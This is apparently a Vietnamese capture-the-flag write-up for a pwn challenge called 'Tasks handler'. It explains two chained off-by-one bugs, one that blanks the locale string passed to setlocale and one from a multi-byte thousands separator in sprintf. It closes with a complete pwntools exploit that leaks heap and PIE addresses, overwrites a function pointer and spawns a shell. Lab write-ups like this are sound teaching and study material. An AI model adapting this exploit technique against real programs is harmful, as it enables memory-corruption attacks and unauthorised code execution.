---
# System prepended metadata

title: '#Tasks handler'

---

# Tasks handler

* Ở chương trình này chúng ta có thể thấy ngay 1 bug khi set `name` lúc đầu chương trình bị `off by one`

```cpp=
char name[0x10];

...

puts("What's your name?");
nbytes = read(0, name, 0x10);
name[nbytes] = '\x00';
Init(name);
```

* Hàm `Init`

```cpp=
void Init(char *name)
{
    char hi[0x10];
    char lang[0x10] = "en_US";
    
    strcpy(hi, name);
    setlocale(LC_ALL, lang);
    printf("Hello %s\n", hi);

    for(int i = 0; i < 0x10; i++)
        tasks[i] = NULL;
    for(int i = 0; i < 5; i++)
    {
        handlers[i].task_id = 0xdeadbeef;
        handlers[i].is_free = 1;
    }
}
```
* Ở đây chúng ta thấy rằng nó sẽ `off by one` byte đầu tiên của biến `lang` như vậy `setlocale(LC_ALL, lang)` bn đầu `setlocale(LC_ALL, "en_US")` sẽ thành `setlocale(LC_ALL, "")`
* Khi tham số thứ `2` là `""` thì `setlocale` sẽ sử dụng những biến `env` để set. Ở đây trong docker mình có xây dựng 1 vài biến để sẽ được dùng khi gọi `setlocale`

```
ENV LANG=en_US.UTF-8 \
    LC_NAME=ru_RU.UTF-8 \
    LC_MONETARY=ru_RU.UTF-8 \
    LC_PAPER=ru_RU.UTF-8 \
    LC_IDENTIFICATION=ru_RU.UTF-8 \
    LC_TELEPHONE=ru_RU.UTF-8 \
    LC_MEASUREMENT=ru_RU.UTF-8 \
    LC_TIME=ru_RU.UTF-8 \
    LC_NUMERIC=ru_RU.UTF-8
```

* Sau khi trigger được `setlocale(LC_ALL, "")` thì mới có thể dẫn tới 1 bug `off by one khác`
* Ở hàm `Coung_Age`

```cpp=
sprintf(t->result, "Result : %'d", age);
```

* Ở đây mình cho `age` tối đa là `4` chữ số nên sẽ không thể overflow được. Nhưng mà ở đây mình dùng `%'d` thì chương trình sẽ sử dụng `thousand seperator` 
* Nghĩa là chẳng hạn khi `age` của mình > `1000` thì chương trình sẽ in ra kiểu `1,000`, `1'000` hoặc `1 000`
* Ở đây mình sau khi set biến `age` thành `1000`

![Screenshot 2023-12-17 103057](https://hackmd.io/_uploads/BkJcj128T.png)

* Debug thì ký tự ` ` chiếm `3` bytes lận nên đây là 1 bug `off by one`
* Lưu ý là chúng ta phải trigger dc `setlocale(LC_ALL, "")` vì `thousand seperator` mặc định là không có

`off by one`
![Screenshot 2023-12-17 103352](https://hackmd.io/_uploads/Bk0QhJnI6.png)

* Mình là cho input trỏ về chính cái `struct`
* Các bước sau đó là mình sẽ có thể tùy chỉnh `input` để leak `pie` rồi set `func_ptr` thành `Shell_Lotto` và `input` sẽ là mảng `lotto` mà hàm đó dùng vậy là gọi dc shell

* Script này của mình có leak heap nhưng thực ra không cần chỉ cần leak được pie thôi

```py=
from pwn import *

s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)

elf = context.binary = ELF('tasks_handler')

READ_FILE = 1
ENCODE = 2
COUNT_AGE = 3
SHELL_LOTTO = 4
GCD = 5

def set_name(name):
    sa(b'name?', name)
def add_task(id):
    sla(b'>', b'1')
    sla(b'>', str(id).encode())
def view_task(id):
    sla(b'>', b'2')
    sla(b'id:', str(id).encode())
def edit_task(id, new_input):
    sla(b'>', b'3')
    sla(b'id:', str(id).encode())
    sa(b'input', new_input)
def delete_task(id):
    sla(b'>', b'4')
    sla(b'id:', str(id).encode())
def run(arr):
    sla(b'>', b'5')
    sla(b'run?', str(len(arr)).encode())
    for i in arr:
        sl(str(i).encode())

#p = remote('0', 1337)

#p = remote('103.162.14.116', 12006)
p = process()
gdb.attach(p, gdbscript='''
#                        b View_Task
#                        b Shell_Lotto
b setlocale
                                   c''')

#off by one setlocale to get thousand seperator

set_name(b'A'*0x10)
#make heap align
add_task(READ_FILE) # 0
run([0])
sla(b'Size:', str(0xe0).encode())
sla(b'File name:', b'blabla')

#trigger off by one
add_task(COUNT_AGE) # 1
run([1])
sla(b'born?', b'1023')
sa(b'Name:', b'A')

#leak pie and heap(not need)
edit_task(1, b'A'*0x20 + b'\x10')
sla(b'>', b'2')
#heap
p.recvuntil(b'A'*0x20)
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
heap = leak - 0x3a10
print('heap: ', hex(heap))
sla(b'id:', b'1')

#leak pie
edit_task(1, b'A'*0x10 + p64(heap + 0x3a48) + p64(0x100) + p64(2) + p64(0)*2)
sla(b'>', b'2')
sla(b'id:', b'1')
p.recvuntil(b'Input: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
elf.address = leak - elf.symbols['Count_Age']
print('elf: ', hex(elf.address))

#trigger off by one again
run([1])
sla(b'born?', b'1023')
sa(b'Name:', p64(elf.symbols['Count_Age']))

#overwrite func_ptr to Shell_Lotto
task = b'A'*0x20 + p64(elf.symbols['lotto']) + p64(0x100) + p64(0)*3 + p64(elf.symbols['Shell_Lotto'])
edit_task(1, task)
run([1])
sa(b'guess:', b'A')

p.interactive()

```